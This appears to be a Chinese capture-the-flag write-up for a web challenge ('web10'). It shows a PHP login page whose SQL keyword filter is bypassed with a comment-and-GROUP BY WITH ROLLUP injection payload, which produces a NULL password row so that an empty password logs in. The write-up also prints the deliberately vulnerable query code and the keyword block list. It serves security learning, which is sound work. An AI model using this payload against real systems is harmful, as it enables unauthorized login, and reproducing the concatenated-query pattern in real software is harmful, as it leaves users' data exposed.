web10
2025年6月18日大约 1 分钟

1. 点击取消
- 点击取消即可获取源码
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>看了其他大佬的文章。
学到两个sql语句:
group by:对进行查询的结果进行分组。group by后跟什么,就按什么分组
with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计。
Payload分析
admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#关键技术点
- 注释绕过空格:
/**/替代空格,绕过空格过滤 - GROUP BY WITH ROLLUP:这是一个很巧妙的技巧!
WITH ROLLUP 攻击原理
WITH ROLLUP 会在结果集末尾添加一行汇总数据,其中 password 字段值为 NULL。
执行流程
原始SQL变为:
select * from user where username = 'admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#'实际执行:
select * from user where username = 'admin' or 1=1 group by password with rollup结果集大概是:
| username | password | |----------|----------| | admin | 123456 | | user1 | 654321 | | NULL | NULL | ← ROLLUP添加的汇总行PHP验证时:
if($password == $row['password']) // $password == NULL
绕过方法
方法:密码留空
username: admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
password: (留空)